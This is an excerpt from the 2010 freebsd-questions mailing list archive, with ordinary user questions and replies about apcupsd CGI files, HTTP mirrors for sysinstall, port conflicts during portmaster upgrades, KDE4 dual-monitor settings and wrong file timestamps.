21.5 (beta28) "fuki" XEmacs Lucid X-Junkmail-Whitelist: YES (by domain whitelist at mr08.lnh.mail.rcn.net) Cc: freebsd-questions@freebsd.org Subject: multimon.cgi X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 14:59:21 -0000 =?iso-8859-1?Q?D=E1nielisz_L=E1szl=F3?= writes: > I'm planning to buy an APC UPS becasue FreeBSD have a nice apcupsd > daemon so I can control my system. Okay, but the thing is that > apcupsd have a web interface for it, the main file is called > multinom.cgi, I read the manual > (http://www.apcupsd.com/manual/manual.html) but I seen no reference > for FreeBSD. Did any of you do this before? How? huff@>> dir /usr/local/www/apache22/cgi-bin/apcupsd/ total 274 drwxr-xr-x 2 root wheel 512 Jan 13 08:31 . drwxrwxr-x 3 root wheel 512 Jan 13 08:31 .. lrwxr-xr-x 1 root wheel 7 Sep 7 2009 apcupsd -> apcupsd -rwxr-xr-x 1 root wheel 73067 Jan 13 08:31 multimon.cgi -rwxr-xr-x 1 root wheel 59369 Jan 13 08:31 upsfstats.cgi -rwxr-xr-x 1 root wheel 70677 Jan 13 08:31 upsimage.cgi -rwxr-xr-x 1 root wheel 69664 Jan 13 08:31 upsstats.cgi This help? Robert Huff From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 15:05:01 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 26BAD1065675 for ; Thu, 11 Mar 2010 15:05:01 +0000 (UTC) (envelope-from laszlo_danielisz@yahoo.com) Received: from web30805.mail.mud.yahoo.com (web30805.mail.mud.yahoo.com [68.142.200.148]) by mx1.freebsd.org (Postfix) with SMTP id DA1A48FC13 for ; Thu, 11 Mar 2010 15:05:00 +0000 (UTC) Received: (qmail 14219 invoked by uid 60001); 11 Mar 2010 15:05:00 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1268319900; bh=gNUrcD/Pi5QCDagX+TPv8Du6E5F8Evk9do1ewWTkXwQ=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:References:Date:From:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=ePxO61e86dJZZlWAGQ6CLLczND0mezD1wBq4Bp0d0qxWdgyB9vSXfm8ZOHkZBLTkCif4VJdGpTuX+T9ZOMRw0l5LV21sEAdkYH8hHo9DCnOupv22fRmzKxIMixwrXvu37um+SIE5u2eQunQ+Gojd/PT2eobbj/n+YBdMYjJwTZw= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:X-YMail-OSG:Received:X-Mailer:References:Date:From:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=olNUAA1Y9UVrDNxo1LFQF8MZPzCjFYawd/1NyFHTuYbsrOPcHv+HdvjpKHZgVKLLAHPL0NNX5XxbgWeG6JuHv2SpTNVhT6lgiEz/vFOKYhHxvO+rv7Ep5gN6lhn7ZElTg47Rx5wm+CLSTnkxdcrHcWVntMmHD/94cysKh1WlH6Y=; Message-ID: <103699.13780.qm@web30805.mail.mud.yahoo.com> X-YMail-OSG: ytWd3mcVM1kP5XTQIj_Nwm8VOEy9NEfO08_N9z3oL6hmXQT wckC37YQ0lsc75h_jQJG5gv4vJqKKU.LCt9VvmCSOXg_pkpp2JSMADy8S_eJ Z6VPZKisxB_GOlrtZddXvXplpadjaeHhykGd57cUghn2NNakCaCvnRmsQrZO jolqOK.5abjBBuQe2z0J48bM37qjLtqH9bQ2vHEB8qqv6kG1ZmEROHlRIo9k pt1xpBw4o7BObyG6lCrb2g93GSZ26lwYKRoYWku3yvAFKgMGa8Sh5SWL2CbE AKPaezoQLyCPeHmvKkACdCN6VCQGUDACMx7JTYARiGFTW2Vg- Received: from [94.21.228.238] by web30805.mail.mud.yahoo.com via HTTP; Thu, 11 Mar 2010 07:05:00 PST X-Mailer: YahooMailRC/300.3 YahooMailWebService/0.8.100.260964 References: <585953.49328.qm@web30802.mail.mud.yahoo.com> <19353.1250.790769.882792@jerusalem.litteratus.org> Date: Thu, 11 Mar 2010 07:05:00 -0800 (PST) From: =?iso-8859-1?Q?D=E1nielisz_L=E1szl=F3?= To: Robert Huff In-Reply-To: <19353.1250.790769.882792@jerusalem.litteratus.org> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: multimon.cgi X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 15:05:01 -0000 Great, you done that before!=0A=0AIt helps but I still don't know where can= I found the *.cgi files so I can copy them to the proper apache directory,= do you know?=0A=0A=0A=0A________________________________=0AFrom: Robert Hu= ff =0ATo: D=E1nielisz L=E1szl=F3 =0ACc: freebsd-questions@freebsd.org=0ASent: Thu, March 11, 2010 3:57= :38 PM=0ASubject: multimon.cgi=0A=0A=0A=3D?iso-8859-1?Q?D=3DE1nielisz_L=3DE= 1szl=3DF3?=3D writes:=0A=0A> I'm planning to buy an APC UPS becasue FreeBS= D have a nice apcupsd=0A> daemon so I can control my system. Okay, but the= thing is that=0A> apcupsd have a web interface for it, the main file is c= alled=0A> multinom.cgi, I read the manual=0A> (http://www.apcupsd.com/man= ual/manual.html) but I seen no reference=0A> for FreeBSD. Did any of you = do this before? How?=0A=0Ahuff@>> dir /usr/local/www/apache22/cgi-bin/apcu= psd/=0Atotal 274=0Adrwxr-xr-x 2 root wheel 512 Jan 13 08:31 .=0Adrwxrw= xr-x 3 root wheel 512 Jan 13 08:31 ..=0Alrwxr-xr-x 1 root wheel = 7 Sep 7 2009 apcupsd -> apcupsd=0A-rwxr-xr-x 1 root wheel 73067 Jan 1= 3 08:31 multimon.cgi=0A-rwxr-xr-x 1 root wheel 59369 Jan 13 08:31 upsfst= ats.cgi=0A-rwxr-xr-x 1 root wheel 70677 Jan 13 08:31 upsimage.cgi=0A-rwx= r-xr-x 1 root wheel 69664 Jan 13 08:31 upsstats.cgi=0A=0A=0A This hel= p?=0A=0A=0A Robert Huff=0A=0A___________________________= ____________________=0Afreebsd-questions@freebsd.org mailing list=0Ahttp://= lists.freebsd.org/mailman/listinfo/freebsd-questions=0ATo unsubscribe, send= any mail to "freebsd-questions-unsubscribe@freebsd.org"=0A=0A=0A=0A From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 15:07:29 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F3E4C106566B for ; Thu, 11 Mar 2010 15:07:28 +0000 (UTC) (envelope-from eitanadlerlist@gmail.com) Received: from mail-fx0-f222.google.com (mail-fx0-f222.google.com [209.85.220.222]) by mx1.freebsd.org (Postfix) with ESMTP id 8CA768FC1F for ; Thu, 11 Mar 2010 15:07:28 +0000 (UTC) Received: by fxm22 with SMTP id 22so135192fxm.14 for ; Thu, 11 Mar 2010 07:07:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:from:date:message-id :subject:to:content-type; bh=bIH9DhFz+8wAVqCfBGvIfob0xd2nhECbk8F+DR8Ldm0=; b=mB/T1QPI9NLtbXSwT8stBldV+Zr5Pc4eMi2ENE4db8gfCliGZLWe3s5krr6Nop7whH i6w6QDC3kx8jD+yVOGMt/t+LYGuY8dguk35ByFEQDzFE9tb36OYIQO9i+41MefNdQBPL fkqABtIBHRV3MFHlMJxX4fcUIE+0VLRO5cuOs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:from:date:message-id:subject:to:content-type; b=eUgAAlJMeipu/6fuWHxch7dt8wYhVykim77Z+2z8psIqvXoUicDh26Suae2lTXX7xU 8QI/D1mjfsjQP1rIEUw1JaXZBSCTO8TuOSkDP7zxb8TrT6jNbYQhBe8AT1pkpf4jjsEF FCSLHQfpqItPeKfAWKD5hgsgNZNg+4+zse2GU= MIME-Version: 1.0 Received: by 10.239.131.211 with SMTP id 19mr310469hbo.63.1268320047172; Thu, 11 Mar 2010 07:07:27 -0800 (PST) From: Eitan Adler Date: Thu, 11 Mar 2010 17:07:07 +0200 Message-ID: To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Subject: sysinstall: download via pure http X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 15:07:29 -0000 instead of "ftp through an http proxy" is it possible to get a pure http mirror? From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 15:30:41 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 58D7B1065674 for ; Thu, 11 Mar 2010 15:30:41 +0000 (UTC) (envelope-from pit@joseph-a-nagy-jr.us) Received: from outbound-mail-01.bluehost.com (outbound-mail-01.bluehost.com [69.89.21.11]) by mx1.freebsd.org (Postfix) with SMTP id 2754D8FC22 for ; Thu, 11 Mar 2010 15:30:40 +0000 (UTC) Received: (qmail 14335 invoked by uid 0); 11 Mar 2010 15:30:40 -0000 Received: from unknown (HELO box264.bluehost.com) (69.89.31.64) by cpoproxy1.bluehost.com with SMTP; 11 Mar 2010 15:30:40 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=joseph-a-nagy-jr.us; h=Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:X-Enigmail-Version:Content-Type:X-Identified-User; b=p3hcxIvLNPF8KlwOeKUNb4RhkJc1159CS/soLL1IDB0ERAmQLJ9dXLozQjG9C9HJL83dGj58p5D/TMZpQ7RACHaytCXFrgg5HTQpMOScsgIFEz/ZwBB9wQE4A8+rN3L6; Received: from [206.74.86.236] (helo=[192.168.1.107]) by box264.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1NpkLP-0002ZH-Sf for freebsd-questions@freebsd.org; Thu, 11 Mar 2010 08:30:40 -0700 Message-ID: <4B990C9A.3060403@joseph-a-nagy-jr.us> Date: Thu, 11 Mar 2010 09:30:34 -0600 From: Programmer In Training User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.7) Gecko/20100203 Thunderbird/3.0.1 MIME-Version: 1.0 To: FreeBSD Questions X-Enigmail-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigC7A50706A194F0019F8BF6B7" X-Identified-User: {2250:box264.bluehost.com:ameliora:joseph-a-nagy-jr.us} {sentby:smtp auth 206.74.86.236 authed with pit@joseph-a-nagy-jr.us} Subject: avahi-libdns and mDNSResponder X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 15:30:41 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigC7A50706A194F0019F8BF6B7 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Why oh why are there projects that provide the same functionality and files in the same locations? These two ports, avahi-libdns and mDNSresponder, have given me nothing but PROBLEMS when using portmaster to upgrade (or any other tool to install something else, such as KDE4). Those two ports, along with the issues with having upgraded from jpeg-7 to jpeg-8, are proving to be a huge headache. I'm doing my very best to work around these issues, but I just don't know how to anymore. Right now I'm trying to run portmaster -it graphics/gimp so I can rebuild gimp to link against the latest jpeg (which is now jpeg-8_1 but I'm not upgrading jpeg again, at least not yet) and make sure everything else that depends on jpeg can link against the new one. Either I allow gimp dependencies to build, or I encounter issues like libwebkit being linked against jpeg-7 (what? I thought I took care of all those issues, grrr). Or I allow all the dependencies to be rebuilt/upgraded and then watch it fail because of needing mDNSresponder which conflicts with the currently installed avahi-libdns (because mDNSrepsonder and avahi-libdns apparently provide the /same exact thing/). I cannot be the only person having problems like this. To make this marginally on-topic, here is how the build process from portmaster -i graphics/gimp errors out. For simplicities sake, I'm answering y to all questions regarding upgrading relevant ports: =3D=3D=3D>>> The following actions will be taken if you choose to proceed= : Install graphics/gimp Upgrade gimp-app-2.6.8,1 to gimp-app-2.6.8_1,1 Upgrade gnome-vfs-2.24.2 to gnome-vfs-2.24.2_1 Upgrade shared-mime-info-0.70 to shared-mime-info-0.71 Upgrade samba-libsmbclient-3.0.37 to samba34-libsmbclient-3.4.5 Upgrade samba-3.3.9 to samba-3.3.10 Upgrade mDNSResponder-108 to mDNSResponder-214 Upgrade openssl-0.9.8l_4 to openssl-0.9.8m Upgrade gvfs-1.4.3 to gvfs-1.4.3_1 Upgrade libsoup-2.28.2 to libsoup-2.28.2_1 Upgrade gnome-keyring-2.28.2 to gnome-keyring-2.28.2_1 Upgrade gnome-mount-0.8_3 to gnome-mount-0.8_4 Upgrade libnotify-0.4.5_1 to libnotify-0.4.5_2 Upgrade policykit-gnome-0.9.2_2 to policykit-gnome-0.9.2_3 Upgrade libgsf-1.14.16 to libgsf-1.14.17 Upgrade gegl-0.0.22_6 to gegl-0.0.22_8 Upgrade sdl-1.2.14,2 to sdl-1.2.14_1,2 Upgrade arts-1.5.10_2,1 to arts-1.5.10_3,1 Upgrade qt-copy-3.3.8_10 to qt-copy-3.3.8_11 Upgrade jpeg-8 to jpeg-8_1 Upgrade png-1.2.42 to png-1.2.43 Install graphics/graphviz Upgrade librsvg2-2.26.0_2 to librsvg2-2.26.0_3 Upgrade libxul-1.9.0.17 to libxul-1.9.0.17_1 Upgrade libopenraw-0.0.8_1 to libopenraw-0.0.8_2 Upgrade ffmpeg-0.5_2,1 to ffmpeg-0.5.1,1 Upgrade imlib2-1.4.1.000_2,2 to imlib2-1.4.1.000_3,2 Upgrade openjpeg-1.3_1 to openjpeg-1.3_2 Upgrade x264-0.0.20081218 to x264-0.0.20090119_1 Install print/enscript-a4 Upgrade lcms-1.19,1 to lcms-1.19_1,1 Upgrade libwmf-0.2.8.4_4 to libwmf-0.2.8.4_5 Upgrade poppler-gtk-0.12.3 to poppler-gtk-0.12.3_1 Upgrade poppler-0.12.3 to poppler-0.12.3_1 Upgrade webkit-gtk2-1.1.15.4_1 to webkit-gtk2-1.1.15.4_2 Upgrade py26-gimp-app-2.6.8 to py26-gimp-app-2.6.8_1 Upgrade gimp-gutenprint-5.2.4 to gimp-gutenprint-5.2.4_1 Upgrade gutenprint-base-5.2.4 to gutenprint-base-5.2.4_1 Upgrade gutenprint-5.2.4 to gutenprint-5.2.4_1 Upgrade gutenprint-cups-5.2.4 to gutenprint-cups-5.2.4_1 Upgrade cups-base-1.3.10_4 to cups-base-1.4.2_4 Upgrade cups-pstoraster-8.15.4_4 to cups-pstoraster-8.15.4_5 Upgrade gutenprint-ijs-5.2.4 to gutenprint-ijs-5.2.4_1 =3D=3D=3D>>> Proceed? y/n [y] =3D=3D=3D>>> Starting build for graphics/gimp <<<=3D=3D=3D =3D=3D=3D>>> Starting check for build dependencies =3D=3D=3D>>> Gathering dependency list for graphics/gimp from ports =3D=3D=3D>>> No dependencies for graphics/gimp =3D=3D=3D> Cleaning for gimp-2.6.8_1,2 =3D=3D=3D> Found saved configuration for gimp-2.6.8_1,2 =3D=3D=3D> Extracting for gimp-2.6.8_1,2 =3D=3D=3D> Patching for gimp-2.6.8_1,2 =3D=3D=3D> Configuring for gimp-2.6.8_1,2 =3D=3D=3D>>> Starting check for runtime dependencies =3D=3D=3D>>> Gathering dependency list for graphics/gimp from ports =3D=3D=3D>>> Starting dependency check =3D=3D=3D>>> Launching child to update gimp-app-2.6.8,1 to gimp-app-2.6.8= _1,1 graphics/gimp >> gimp-app-2.6.8,1 =3D=3D=3D>>> Port directory: /usr/ports/graphics/gimp-app =3D=3D=3D>>> Starting check for build dependencies =3D=3D=3D>>> Gathering dependency list for graphics/gimp-app from ports =3D=3D=3D>>> Starting dependency check =3D=3D=3D>>> Launching child to update gnome-vfs-2.24.2 to gnome-vfs-2.24= =2E2_1 graphics/gimp >> gimp-app-2.6.8,1 >> gnome-vfs-2.24.2 =3D=3D=3D>>> Port directory: /usr/ports/devel/gnome-vfs =3D=3D=3D>>> Starting check for build dependencies =3D=3D=3D>>> Gathering dependency list for devel/gnome-vfs from ports =3D=3D=3D>>> Starting dependency check =3D=3D=3D>>> Launching child to update samba-libsmbclient-3.0.37 to samba34-libsmbclient-3.4.5 graphics/gimp >> gimp-app-2.6.8,1 >> gnome-vfs-2.24.2 >> samba-libsmbclient-3.0.37 =3D=3D=3D>>> Port directory: /usr/ports/net/samba-libsmbclient =3D=3D=3D>>> Starting check for build dependencies =3D=3D=3D>>> Gathering dependency list for net/samba-libsmbclient from po= rts =3D=3D=3D>>> Starting dependency check =3D=3D=3D>>> The dependency for devel/talloc seems to be handled by samba-3.3.9 =3D=3D=3D>>> Launching child to update samba-3.3.9 to samba-3.3.10 graphics/gimp >> gimp-app-2.6.8,1 >> gnome-vfs-2.24.2 >> samba-libsmbclient-3.0.37 >> samba-3.3.9 =3D=3D=3D>>> Port directory: /usr/ports/net/samba33 =3D=3D=3D>>> Starting check for build dependencies =3D=3D=3D>>> Gathering dependency list for net/samba33 from ports =3D=3D=3D>>> Starting dependency check =3D=3D=3D>>> The dependency for net/avahi-libdns seems to be handled by mDNSResponder-108 =3D=3D=3D>>> Launching child to update mDNSResponder-108 to mDNSResponder= -214 graphics/gimp >> gimp-app-2.6.8,1 >> gnome-vfs-2.24.2 >> samba-libsmbclient-3.0.37 >> samba-3.3.9 >> mDNSResponder-108 =3D=3D=3D>>> Port directory: /usr/ports/net/mDNSResponder =3D=3D=3D>>> Starting check for build dependencies =3D=3D=3D>>> Gathering dependency list for net/mDNSResponder from ports =3D=3D=3D>>> Starting dependency check =3D=3D=3D>>> Dependency check complete for net/mDNSResponder graphics/gimp >> gimp-app-2.6.8,1 >> gnome-vfs-2.24.2 >> samba-libsmbclient-3.0.37 >> samba-3.3.9 >> mDNSResponder-108 =3D=3D=3D> Cleaning for mDNSResponder-214 =3D=3D=3D> mDNSResponder-214 conflicts with installed package(s): avahi-libdns-0.6.25 They install files into the same place. Please remove them first with pkg_delete(1). *** Error code 1 Stop in /usr/ports/net/mDNSResponder. =3D=3D=3D>>> make failed for net/mDNSResponder =3D=3D=3D>>> Aborting update =3D=3D=3D>>> Update for mDNSResponder-108 failed =3D=3D=3D>>> Aborting update =3D=3D=3D>>> Update for samba-3.3.9 failed =3D=3D=3D>>> Aborting update =3D=3D=3D>>> Update for samba-libsmbclient-3.0.37 failed =3D=3D=3D>>> Aborting update =3D=3D=3D>>> Update for gnome-vfs-2.24.2 failed =3D=3D=3D>>> Aborting update =3D=3D=3D>>> Update for gimp-app-2.6.8,1 failed =3D=3D=3D>>> Aborting update This is after running portsnap fetch extract last night. --=20 Yours In Christ, PIT Emails are not formal business letters, whatever businesses may want. Original content copyright under the OWL http://owl.apotheon.org Please do not CC me. If I'm posting to a list it is because I am subscrib= ed. --------------enigC7A50706A194F0019F8BF6B7 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (FreeBSD) iQEcBAEBAgAGBQJLmQyiAAoJEENZQ8DH7rW0fOMIAJcLob1lULg/wW9MFNLhqThe BUHI3L/lqVLlALMpAJR3OJc+R8M2W0sb+CAt7U0L1cnE7WZQnuEv3q67TqSFk2AE 2F3NeH7I2iwZp929haV/W1Bfef6bLBlMuZraw7pA/4vykxxUmuKh5s40ixQb6pr1 aOQz28fhlhVeR4r7cis7/aRbg5sjewDvhtj3xLqNGTu8pkjzcviuEr5Vgz65a4Dx OSEb5q1W4pa8PaAZEPnXekJK7/7tJfvgP/HEcl+PLk/NZcYUoVq/jfS3lIDYumyB 7HElqqKL/sNQRfN7YIgQaPqtP5qRMvSRLX5mIHnGLP/+hy+CnXAYRomTgDtzfn4= =uSWD -----END PGP SIGNATURE----- --------------enigC7A50706A194F0019F8BF6B7-- From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 17:21:44 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 29164106564A for ; Thu, 11 Mar 2010 17:21:44 +0000 (UTC) (envelope-from prvs=6796ac177=pschmehl_lists@tx.rr.com) Received: from ip-001.utdallas.edu (ip-001.utdallas.edu [129.110.20.107]) by mx1.freebsd.org (Postfix) with ESMTP id F10FF8FC0C for ; Thu, 11 Mar 2010 17:21:43 +0000 (UTC) X-Group: None X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApsEAH+umEuBbgog/2dsb2JhbACbVL4AhHsEgxc X-IronPort-AV: E=Sophos;i="4.49,621,1262584800"; d="scan'208";a="28857290" Received: from zxtm01.utdallas.edu (HELO utd65257.utdallas.edu) ([129.110.10.32]) by ip-001.utdallas.edu with ESMTP/TLS/DHE-RSA-AES256-SHA; 11 Mar 2010 10:52:14 -0600 Date: Thu, 11 Mar 2010 10:52:13 -0600 From: Paul Schmehl To: FreeBSD Questions Message-ID: X-Mailer: Mulberry/4.0.6 (Linux/x86) X-Munged-Reply-To: Figure it out MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: Upgrade to 8.0 STABLE and KDE 4 - minor problems X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Paul Schmehl List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 17:21:44 -0000 I just upgraded my workstation from 7.2 STABLE to 8.0 STABLE. I decided to make the leap and upgrade to KDE 4 as well. After sorting out some issues, everything is working except for a couple of weird things. I'm using two 19" montiors and a virtual display of 3360x1050. That's working fine, but my desktop background only appears on display 1. Display 2 has the default blue background with the circles. Also, the screensaver only runs in display 2. Very weird. I've poked around some, but I haven't found anywhere that I can set those to display on both screens. Can anyone give me a hint where to look? -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. ******************************************* "It is as useless to argue with those who have renounced the use of reason as to administer medication to the dead." Thomas Jefferson From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 17:28:55 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CCA7B106566C for ; Thu, 11 Mar 2010 17:28:55 +0000 (UTC) (envelope-from richard.delaurell@gmail.com) Received: from mail-ww0-f54.google.com (mail-ww0-f54.google.com [74.125.82.54]) by mx1.freebsd.org (Postfix) with ESMTP id 29F648FC1D for ; Thu, 11 Mar 2010 17:28:52 +0000 (UTC) Received: by wwb28 with SMTP id 28so213828wwb.13 for ; Thu, 11 Mar 2010 09:28:52 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=i+EeQ57588xqIR/on/1f5/shCtCyhqtEWuKAl7bZGEI=; b=VlvlbCTF+3R9Hm97UdLGN3E7ra0MhDbsiP3I0GXX9+jwAiehTczyD94ciwBENCyYwB KaFWD3BYHM/40ZT935lM1z/7ADsujfSfg534pxmVTGRixFvmHVpmmvgEZZDU7gGC7OIT sHxmOvYt0CaywfsDuzMDMnRWTxvN0xT4RX180= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=B3LgzjkrH1pj296EKxGzLaJqLPnqxnkiNm1k5FF0UjP2znRKGPWC0NWPDwV8P1qIuW DmcPDORq5lP060Zw4oBzDo8TbyMZcm8rPPQYCb+7EUPJQICcEAZWwPDp3onWix3zor7H oi2hSoJPjDz/mKUXrvnytvVMQxRJNfmZ6mUfg= MIME-Version: 1.0 Received: by 10.216.166.84 with SMTP id f62mr709671wel.80.1268327104818; Thu, 11 Mar 2010 09:05:04 -0800 (PST) Date: Thu, 11 Mar 2010 11:05:04 -0600 Message-ID: <4324dbec1003110905i3267df08hfc2d8a790c797a45@mail.gmail.com> From: Richard DeLaurell To: "mail.list freebsd-questions" Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: problems w/ touching all files? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 17:28:55 -0000 I made a big mistake the upshot of which is that many of my files (including many port/makefiles) have the wrong date. As a result, I get a lot of failures when trying to install from ports. I can get around it by temporarily setting the date, building the port, then resetting the date, but it is still inconvenient. I would rather not do a clean install at this point, but am wondering if "touching" all of the files on my system would solve this problem WITHOUT creating any new ones? If it would, what might those new complications be? As I say, it is not mission-critical at this point, but it would be helpful to fix this. Thanks for any help. Richard DeLaurell From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 17:38:49 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B92D6106566B for ; Thu, 11 Mar 2010 17:38:49 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id 2D06F8FC1F for ; Thu, 11 Mar 2010 17:38:48 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.187.76.163]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.4/8.14.4) with ESMTP id o2BHchgA017940 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 11 Mar 2010 17:38:44 GMT (envelope-from m.seaman@infracaninophile.co.uk) Message-ID: <4B992AA3.1080504@infracaninophile.co.uk> Date: Thu, 11 Mar 2010 17:38:43 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: Eitan Adler References: In-Reply-To: X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: clamav-milter 0.95.3 at happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_ADSP_ALL, SPF_FAIL autolearn=no version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on happy-idiot-talk.infracaninophile.co.uk Cc: freebsd-questions@freebsd.org Subject: Re: sysinstall: download via pure http X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 17:38:49 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 11/03/2010 15:07:07, Eitan Adler wrote: > instead of "ftp through an http proxy" is it possible to get a pure http mirror? Yes happy-idiot-talk:~:% HEAD -uSe http://ftp.freebsd.org/pub/FreeBSD/ HEAD http://ftp.freebsd.org/pub/FreeBSD/ HEAD http://ftp.freebsd.org/pub/FreeBSD/ --> 200 OK Connection: close Date: Thu, 11 Mar 2010 17:37:05 GMT Server: lighttpd/1.4.26 Content-Length: 6656 Content-Type: text/html; charset=utf-8 Client-Date: Thu, 11 Mar 2010 17:37:06 GMT Client-Peer: 87.51.34.132:80 Client-Response-Num: 1 You can just access ftp.freebsd.org by HTTP Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.14 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkuZKqMACgkQ8Mjk52CukIyo0gCeLRaRGrAvU/RRuHXumeCwcUO7 pJYAn3IVpiwdujPr/0IyZAtaEfUmVjFA =h+XG -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 17:53:14 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 15D7B106566B for ; Thu, 11 Mar 2010 17:53:14 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from 